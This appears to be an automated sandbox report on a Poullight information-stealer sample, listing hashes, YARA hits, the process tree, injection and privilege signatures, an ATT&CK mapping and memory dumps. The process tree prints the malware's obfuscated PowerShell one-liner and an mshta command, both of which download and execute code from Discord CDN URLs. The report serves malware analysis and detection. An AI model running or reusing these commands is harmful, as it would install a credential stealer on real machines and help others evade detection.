poullight | 7fc66f244e022341520c4af91172ec3833c36b95624ee5c510086cd8d71db7ae

General

Target

eufive_20210816-144801.exe
Size

482KB
MD5

5ba895fb23729ffbb001e5dfe74aa132
SHA1

7a2b094329f369ff5a67971c3a71c46775e93000
SHA256

7fc66f244e022341520c4af91172ec3833c36b95624ee5c510086cd8d71db7ae
SHA512

34ad4a38eb4983018e1c626550378ef4622be2fb02b74d1bacf9155cc835fb838a092c53b5b46e1ee45eac4ba13e723e661bb5e969480a56d2839d14d79c8cde

Score

10^/10

poullight stealer trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://cdn.discordapp.com/attachments/875404916150116402/875405053467459594/Minutes.txt

Signatures

Poullight
Poullight is an information stealer first seen in March 2020.
trojan stealer poullight

Poullight Stealer Payload 3 IoCs

Processes:

resource	yara_rule
behavioral2/memory/668-146-0x0000000000400000-0x0000000000420000-memory.dmp	family_poullight
behavioral2/memory/668-147-0x000000000041A94E-mapping.dmp	family_poullight
behavioral2/memory/668-155-0x00000000052A0000-0x000000000579E000-memory.dmp	family_poullight

Suspicious use of NtCreateProcessExOtherParentProcess 1 IoCs

Processes:

WerFault.exe

description pid process target process

PID 3272 created 668 3272 WerFault.exe aspnet_compiler.exe
Blocklisted process makes network request 4 IoCs

Processes:

mshta.exepowershell.exe

flow pid process

11 604 mshta.exe
13 604 mshta.exe
15 604 mshta.exe
16 2916 powershell.exe
Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 2916 set thread context of 668 2916 powershell.exe aspnet_compiler.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

3272 668 WerFault.exe aspnet_compiler.exe

description	pid	process	target process
PID 3272 created 668	3272	WerFault.exe	aspnet_compiler.exe

flow	pid	process
11	604	mshta.exe
13	604	mshta.exe
15	604	mshta.exe
16	2916	powershell.exe

description	pid	process	target process
PID 2916 set thread context of 668	2916	powershell.exe	aspnet_compiler.exe

pid	pid_target	process	target process
3272	668	WerFault.exe	aspnet_compiler.exe

Suspicious behavior: EnumeratesProcesses 19 IoCs

Processes:

powershell.exeaspnet_compiler.exeWerFault.exe

pid	process
2916	powershell.exe
2916	powershell.exe
2916	powershell.exe
668	aspnet_compiler.exe
668	aspnet_compiler.exe
3272	WerFault.exe
3272	WerFault.exe
3272	WerFault.exe
3272	WerFault.exe
3272	WerFault.exe
3272	WerFault.exe
3272	WerFault.exe
3272	WerFault.exe
3272	WerFault.exe
3272	WerFault.exe
3272	WerFault.exe
3272	WerFault.exe
3272	WerFault.exe
3272	WerFault.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

Processes:

powershell.exeaspnet_compiler.exeWerFault.exe

description	pid	process
Token: SeDebugPrivilege	2916	powershell.exe
Token: SeDebugPrivilege	668	aspnet_compiler.exe
Token: SeRestorePrivilege	3272	WerFault.exe
Token: SeBackupPrivilege	3272	WerFault.exe
Token: SeDebugPrivilege	3272	WerFault.exe

Suspicious use of WriteProcessMemory 12 IoCs

Processes:

eufive_20210816-144801.exemshta.exepowershell.exe

description	pid	process	target process
PID 3128 wrote to memory of 604	3128	eufive_20210816-144801.exe	mshta.exe
PID 3128 wrote to memory of 604	3128	eufive_20210816-144801.exe	mshta.exe
PID 604 wrote to memory of 2916	604	mshta.exe	powershell.exe
PID 604 wrote to memory of 2916	604	mshta.exe	powershell.exe
PID 2916 wrote to memory of 668	2916	powershell.exe	aspnet_compiler.exe
PID 2916 wrote to memory of 668	2916	powershell.exe	aspnet_compiler.exe
PID 2916 wrote to memory of 668	2916	powershell.exe	aspnet_compiler.exe
PID 2916 wrote to memory of 668	2916	powershell.exe	aspnet_compiler.exe
PID 2916 wrote to memory of 668	2916	powershell.exe	aspnet_compiler.exe
PID 2916 wrote to memory of 668	2916	powershell.exe	aspnet_compiler.exe
PID 2916 wrote to memory of 668	2916	powershell.exe	aspnet_compiler.exe
PID 2916 wrote to memory of 668	2916	powershell.exe	aspnet_compiler.exe

C:\Users\Admin\AppData\Local\Temp\eufive_20210816-144801.exe
"C:\Users\Admin\AppData\Local\Temp\eufive_20210816-144801.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3128

C:\Windows\System32\mshta.exe
"C:\Windows\System32\mshta.exe" https://cdn.discordapp.com/attachments/875404916150116402/875405147503751198/Sekonds.txt
2⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:604

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $SRDTFYGUHIUGYFTDRYDTYUFUGIHLUGYFUTDUFY='https://cdn.discordapp.com/attachments/875404916150116402/875405053467459594/Minutes.txt';$SFDDHGFJGKHLJKHJGHFGFGDHFGHK='DOWNSDFGDHFJGKHFGHDFGDHJGKHFJGDHFSHGDHJKGFHGDHFSHGDJFKJGKJKHFJGDHING'.Replace('SDFGDHFJGKHFGHDFGDHJGKHFJGDHFSHGDHJKGFHGDHFSHGDJFKJGKJKHFJGDH','LOADSTR');$RGHTFYGUKLHIDZXFCGVJHBHVGCFXDZFGXFHCGJV='SYEFSRGDTHYFUGKYFTDRSEASGRDHTFYUGKKGYFTDHRGDM.NEDTHFYJGUKHGYFTDRYTFYGUHGYFTDYFYGUTDUFYGUBClIENT'.Replace('EFSRGDTHYFUGKYFTDRSEASGRDHTFYUGKKGYFTDHRGD','STE').Replace('DTHFYJGUKHGYFTDRYTFYGUHGYFTDYFYGUTDUFYGU','T.WE');$ESTRDYTUFYGIUHIJOSERDTFYJGUKYTDRSTDYFUGK = '(NAFSHDGFJGKHLGFSGRHTDYFJGUKYFTDHRSHDTFYBJECT $RGHTFYGUKLHIDZXFCGVJHBHVGCFXDZFGXFBBBBBBBBBBBBBBHHHHHHHHHHHHHRDTFYGUHIUGYFTDRYDTYUFUGIHLUGYFUTDUFY)'.Replace('AFSHDGFJGKHLGFSGRHTDYFJGUKYFTDHRSHDTFY','EW-O').Replace('BBBBBBBBBBBBBBHHHHHHHHHHHHH','HCGJV ).$SFDDHGFJGKHLJKHJGHFGFGDHFGHK($S');$ERTTDYFYUGUYTREZRTFYGKUFDSS45HD6F7GK=&('I'+'EX')($ESTRDYTUFYGIUHIJOSERDTFYJGUKYTDRSTDYFUGK -Join '')|&('I'+'EX');
3⤵
- Blocklisted process makes network request
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2916

C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:668

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 668 -s 1312
5⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3272

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/604-116-0x0000000000000000-mapping.dmp

Download
memory/668-147-0x000000000041A94E-mapping.dmp

Download
memory/668-159-0x00000000072F0000-0x00000000072F1000-memory.dmp

Filesize
4KB

Download
memory/668-158-0x0000000006150000-0x0000000006151000-memory.dmp

Filesize
4KB

Download
memory/668-157-0x0000000005570000-0x0000000005571000-memory.dmp

Filesize
4KB

Download
memory/668-156-0x0000000005360000-0x0000000005361000-memory.dmp

Filesize
4KB

Download
memory/668-155-0x00000000052A0000-0x000000000579E000-memory.dmp

Filesize
5.0MB

Download
memory/668-154-0x0000000005380000-0x0000000005381000-memory.dmp

Filesize
4KB

Download
memory/668-153-0x00000000057A0000-0x00000000057A1000-memory.dmp

Filesize
4KB

Download
memory/668-146-0x0000000000400000-0x0000000000420000-memory.dmp

Filesize
128KB

Download
memory/2916-126-0x000001AE41850000-0x000001AE41851000-memory.dmp

Filesize
4KB

Download
memory/2916-145-0x000001AE41590000-0x000001AE4159E000-memory.dmp

Filesize
56KB

Download
memory/2916-134-0x000001AE415C6000-0x000001AE415C8000-memory.dmp

Filesize
8KB

Download
memory/2916-128-0x000001AE415C3000-0x000001AE415C5000-memory.dmp

Filesize
8KB

Download
memory/2916-127-0x000001AE415C0000-0x000001AE415C2000-memory.dmp

Filesize
8KB

Download
memory/2916-123-0x000001AE414D0000-0x000001AE414D1000-memory.dmp

Filesize
4KB

Download
memory/2916-118-0x0000000000000000-mapping.dmp

Download
memory/3128-114-0x0000000000120000-0x0000000000121000-memory.dmp

Filesize
4KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

Loading Replay Monitor...

Downloads